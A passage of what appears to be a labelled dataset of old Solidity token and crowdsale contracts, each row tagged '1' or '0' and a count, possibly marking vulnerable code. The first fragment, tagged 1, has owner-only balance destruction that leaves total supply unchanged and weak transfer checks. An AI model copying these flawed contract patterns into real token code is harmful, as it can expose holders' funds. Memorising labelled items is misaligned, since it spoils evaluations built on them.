balances[owner] = balances[owner].sub(amount[i]);
Transfer(owner, listAddresses[i], amount[i]);
_tokenLeft = _tokenLeft.sub(amount[i]);
}
}
function destroyDTDToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _totalSupply >= value
);
balances[to] = balances[to].sub(value);
}
function transfer(address to, uint256 value) public {
require (
balances[msg.sender] >= value && value > 0
);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
}
function transferFrom(address from, address to, uint256 value) public {
require (
allowed[from][msg.sender] >= value && balances[from] >= value && value > 0
);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
}
function approve(address spender, uint256 value) external {
require (
balances[msg.sender] >= value && value > 0
);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
function allowance(address _owner, address spender) public view returns (uint256) {
return allowed[_owner][spender];
}
function getPrice() public constant returns (uint result) {
if ( _totalSupply - _tokenLeft < _round1Limit )
return 650;
else if ( _totalSupply - _tokenLeft < _round2Limit )
return 500;
else if ( _totalSupply - _tokenLeft < _round3Limit )
return 400;
else
return 0;
}
function getTokenDetail() public view returns (string memory, string memory, uint256) {
return (name, symbol, _totalSupply);
}
} | 1 | 3,125 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "CoinFastShares";
string constant TOKEN_SYMBOL = "CFSS";
bool constant PAUSED = false;
address constant TARGET_USER = 0xf4e50aF1555c2e86867561a8115f354eFCB7A4c5;
uint constant START_TIME = 1522530000;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,640 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PausableToken is Ownable {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function increaseFrozen(address _owner,uint256 _incrementalAmount) public returns (bool);
function burn(uint256 _value) public;
}
contract AddressWhitelist is Ownable {
mapping (address => bool) whitelisted;
function isWhitelisted(address addr) view public returns (bool) {
return whitelisted[addr];
}
event LogWhitelistAdd(address indexed addr);
function addToWhitelist(address[] addresses) public onlyOwner returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
if (!whitelisted[addresses[i]]) {
whitelisted[addresses[i]] = true;
LogWhitelistAdd(addresses[i]);
}
}
return true;
}
event LogWhitelistRemove(address indexed addr);
function removeFromWhitelist(address[] addresses) public onlyOwner returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
if (whitelisted[addresses[i]]) {
whitelisted[addresses[i]] = false;
LogWhitelistRemove(addresses[i]);
}
}
return true;
}
}
contract RtcTokenCrowdsale is Ownable, AddressWhitelist {
using SafeMath for uint256;
PausableToken public tokenReward;
uint256 public initialSupply;
uint256 public tokensRemaining;
uint256 public decimals;
address public beneficiaryWallet;
uint256 public tokensPerEthPrice;
uint256 public amountRaisedInWei;
uint256 public fundingMinCapInWei;
uint256 public p1_duration;
uint256 public p1_start;
uint256 public p2_start;
uint256 public white_duration;
uint256 public fundingStartTime;
uint256 public fundingEndTime;
bool public isCrowdSaleClosed = false;
bool public areFundsReleasedToBeneficiary = false;
bool public isCrowdSaleSetup = false;
uint256 maxGasPrice = 50000000000;
event Buy(address indexed _sender, uint256 _eth, uint256 _RTC);
event Refund(address indexed _refunder, uint256 _value);
mapping(address => uint256) fundValue;
function toSmallrtc(uint256 amount) public constant returns (uint256) {
return amount.mul(10**decimals);
}
function toRtc(uint256 amount) public constant returns (uint256) {
return amount.div(10**decimals);
}
function updateMaxGasPrice(uint256 _newGasPrice) public onlyOwner {
require(_newGasPrice != 0);
maxGasPrice = _newGasPrice;
}
function setupCrowdsale(uint256 _fundingStartTime) external onlyOwner {
if ((!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
tokenReward = PausableToken(0xC9906549d5F31b6C6A920441e4c2C33EedCe97AB);
beneficiaryWallet = 0xd57fC702773698B9F84D6eaDaDe9E38E67Fe1C2E;
tokensPerEthPrice = 10000;
fundingMinCapInWei = 350;
decimals = 18;
amountRaisedInWei = 0;
initialSupply = toSmallrtc(35000000);
tokensRemaining = initialSupply;
fundingStartTime = _fundingStartTime;
white_duration = 2 weeks;
p1_duration = 4 weeks;
p1_start = fundingStartTime + white_duration;
p2_start = p1_start + p1_duration + 4 weeks;
fundingEndTime = p2_start + 4 weeks;
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
}
}
function setBonusPrice() public constant returns (uint256 bonus) {
require(isCrowdSaleSetup);
require(p1_start + p1_duration <= p2_start);
if (now >= fundingStartTime && now <= p1_start) {
bonus = 4000;
} else if (now > p1_start && now <= p1_start + p1_duration) {
bonus = 3000;
} else if (now > p2_start && now <= p2_start + 1 days ) {
bonus = 2500;
} else if (now > p2_start + 1 days && now <= p2_start + 1 weeks ) {
bonus = 2000;
} else if (now > p2_start + 1 weeks && now <= p2_start + 2 weeks ) {
bonus = 1500;
} else if (now > p2_start + 2 weeks && now <= p2_start + 3 weeks ) {
bonus = 1000;
} else if (now > p2_start + 3 weeks && now <= fundingEndTime ) {
bonus = 500;
} else {
revert();
}
}
function updateDuration(uint256 _newP2Start) external onlyOwner {
require(isCrowdSaleSetup
&& !(p2_start == _newP2Start)
&& !(_newP2Start > p1_start + p1_duration + 30 days)
&& (now < p2_start)
&& (fundingStartTime + p1_duration < _newP2Start));
p2_start = _newP2Start;
fundingEndTime = p2_start.add(4 weeks);
}
function () external payable {
require(tx.gasprice <= maxGasPrice);
require(msg.data.length == 0);
BuyRTCtokens();
}
function BuyRTCtokens() public payable {
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (now >= fundingStartTime)
&& (now <= fundingEndTime)
&& (tokensRemaining > 0));
if (now <= p1_start) {
assert(isWhitelisted(msg.sender));
}
uint256 rewardTransferAmount = 0;
uint256 rewardBaseTransferAmount = 0;
uint256 rewardBonusTransferAmount = 0;
uint256 contributionInWei = msg.value;
uint256 refundInWei = 0;
rewardBonusTransferAmount = setBonusPrice();
rewardBaseTransferAmount = (msg.value.mul(tokensPerEthPrice));
rewardBonusTransferAmount = (msg.value.mul(rewardBonusTransferAmount));
rewardTransferAmount = rewardBaseTransferAmount.add(rewardBonusTransferAmount);
if (rewardTransferAmount > tokensRemaining) {
uint256 partialPercentage;
partialPercentage = tokensRemaining.mul(10**18).div(rewardTransferAmount);
contributionInWei = contributionInWei.mul(partialPercentage).div(10**18);
rewardBonusTransferAmount = rewardBonusTransferAmount.mul(partialPercentage).div(10**18);
rewardTransferAmount = tokensRemaining;
refundInWei = msg.value.sub(contributionInWei);
}
amountRaisedInWei = amountRaisedInWei.add(contributionInWei);
tokensRemaining = tokensRemaining.sub(rewardTransferAmount);
fundValue[msg.sender] = fundValue[msg.sender].add(contributionInWei);
assert(tokenReward.increaseFrozen(msg.sender, rewardBonusTransferAmount));
tokenReward.transfer(msg.sender, rewardTransferAmount);
Buy(msg.sender, contributionInWei, rewardTransferAmount);
if (refundInWei > 0) {
msg.sender.transfer(refundInWei);
}
}
function beneficiaryMultiSigWithdraw() external onlyOwner {
checkGoalReached();
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(this.balance);
}
function checkGoalReached() public returns (bytes32 response) {
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.timestamp <= fundingEndTime && block.timestamp >= fundingStartTime)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.timestamp < fundingStartTime)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
return "Crowdsale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.timestamp > fundingEndTime)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
return "Successful (RTC >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.timestamp > fundingEndTime) && (tokensRemaining > 0)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.timestamp <= fundingEndTime)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
return "In progress (Eth >= Softcap)!";
}
}
function refund() external {
checkGoalReached();
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (now > fundingEndTime)
&& (fundValue[msg.sender] > 0));
uint256 ethRefund = fundValue[msg.sender];
fundValue[msg.sender] = 0;
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
function burnRemainingTokens() onlyOwner external {
require(now > fundingEndTime);
uint256 tokensToBurn = tokenReward.balanceOf(this);
tokenReward.burn(tokensToBurn);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,290 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 8;
uint8 public constant TOKEN_DECIMALS_UINT8 = 8;
